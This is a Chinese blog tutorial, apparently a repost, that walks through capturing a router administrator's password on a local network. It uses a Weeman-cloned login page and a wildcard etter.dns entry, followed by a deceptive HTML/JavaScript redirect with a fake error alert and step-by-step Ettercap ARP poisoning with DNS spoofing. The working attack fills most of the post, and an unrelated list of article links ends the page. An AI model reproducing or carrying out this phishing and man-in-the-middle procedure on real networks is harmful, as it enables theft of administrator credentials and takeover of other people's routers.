[技巧]看我如何通过Weeman+Ettercap拿下路由器管理权限
本文作者:sn0w
原文链接:https://zhuanlan.zhihu.com/p/20871363
本篇文章主要介绍如何在接入无线网络后如何拿到路由器的管理权限,至于如何得到路由器连接密码可以参考 WPA-PSK无线网络的破解 ,本文只提供一个思路。
我们大致的思路是通过weeman伪造登录页面,ettercap进行arp欺骗DNS劫持,从而让管理员跳转到我们的钓鱼页面,欺骗输入管理密码。
测试环境:
攻击者: 192.168.0.101 kali linux 2016.1
目标管理员: 192.168.0.100 Windows 10
路由器管理地址: 192.168.0.1
首先我们需要生成一个伪造的登录页面,需要用到的工具为Weeman,关于这个的工具的介绍并不多,大家可以参考简单易用的钓鱼渗透测试工具Weeman新版发布。
1.设置伪造的目标地址:
set url http://192.168.0.1/login.asp
2.设置端口号:
set port 8080
3.设置转跳地址(登录成功后的页面):
set action_url http://192.168.0.1/index.asp
通过简单的配置就可以运行了
run
可以看到他已经Download了目标地址并放在了8080端口下,此时他会在在程序的根目录下生成一个index.html文件,但是我们访问后发现效果并不是很好。
其实这个脚本只是单纯的将HTML代码进行了缓存,并没有对支持网页的一些资源(CSS/JavaScript/图片)进行缓存。为了让我们的钓鱼页面更具有欺骗效果,我们对他进行一些简单的优化,首先我们打开正常的登录页面 Ctrl + S 将整站进行保存
我们将下载的文件放在与index.html同目录(weeman根目录)下。注:此处我们可以还需要改一下index.html引入的路径。
最终效果(时间原因并没有加上所有图片):
至此,我们第一步已经完成下面我们要上利器ettercap,在这之前我们先做一下简单配置。
首先我们需要配置一下DNS文件,在etc/ettercap/etter.dns 内添加一行
* A 192.168.0.101
* 为通配符,这一行的意思为将所有的网站全部解析到192.168.0.101(攻击者IP)。
然后我们开启apache服务,让攻击者的电脑成为一个web服务器
service apache2 start
现在我们去做一个简单的转跳页面放在apache的www目录(var/www/html)下,通过这个转跳页面转到我们的钓鱼页面,当然这个转跳页面也要具有一定的欺骗性。
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript">
alert("网络连接失败,请尝试重新配置路由器!");
location.href='http://192.168.0.101:8080'; <!--钓鱼界面-->
</script>
</head>
<body>
</body>
</html>
这段代码可以实现,再打开这个后弹窗 “网络连接失败,请尝试重新配置路由器!”,然后转调至我们的钓鱼页面。
下面我们打开ettercap进行dns欺骗
依次选择Sniff -> Uuified Sniffing选择网卡
Hosts->Scan for hosts 扫描在线主机
Hosts -> Hosts list 列出在线主机列表
选中 192.168.0.1 -> add to target 1 然后 192.168.0.100 -> add to target 2
Mitm -> Arp Poisoning 将第一项打勾 开启ARP欺骗
Plugins -> Manager the plugins 双击打开dns_spoof模块启动DNS劫持。
最后Start -> Start Sniffing 开启ARP欺骗+DNS劫持。
我们在目标主机ping常用网站 发现解析地址已经转到攻击者IP
我们模拟管理员正常上网,打开一些常用网站
已经成功解析到攻击者IP ,我们点击确定后转跳到钓鱼页面(忽视这个不完美的钓鱼页面)。
输入管理密码,正常登陆
发布
此时,我们后台的Weeman已经成功劫持到密码。
文章仅供参考,技术渣有问题欢迎指出。
- 轻量级压力测试工具 - AB
- Spring Cloud中Hystrix的请求合并
- Spring Cloud中Hystrix的请求缓存
- mysql主从复制配置
- Spring Cloud系列勘误
- Spring Cloud Stream使用细节
- Redis3 对集群进行重新分片
- Spring Cloud Stream初窥
- jquery事件绑定性能测试
- Spring Cloud Bus整合Kafka
- 图解Mac下如何安装管理MySQL
- Spring Cloud Bus整合RabbitMQ
- 结合Scikit-learn介绍几种常用的特征选择方法(下)
- Spring Cloud Bus之RabbitMQ初窥
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- php运行生命周期--模块初始化php_module_startup
- Visual Studio Code的用户设置相关
- php运行生命周期--请求初始化php_request_startup
- 如何在SAP Spartacus自定义UI里使用标准UI的上下文数据
- php运行生命周期--脚本执行阶段 php_execute
- SAP Spartacus中Angular json pipe的工作原理
- 02.Android崩溃Crash库之App崩溃分析
- mysql事务的实现原理
- 如何通过outlet在SAP Spartacus的产品明细页面插入自定义UI
- 防盗链的原理以及实现
- Python如何根据日期判断周几
- http常见状态码
- golang time相关总结
- [白话解析] 深入浅出熵的概念 & 决策树之ID3算法
- [白话解析] 深入浅出边缘计算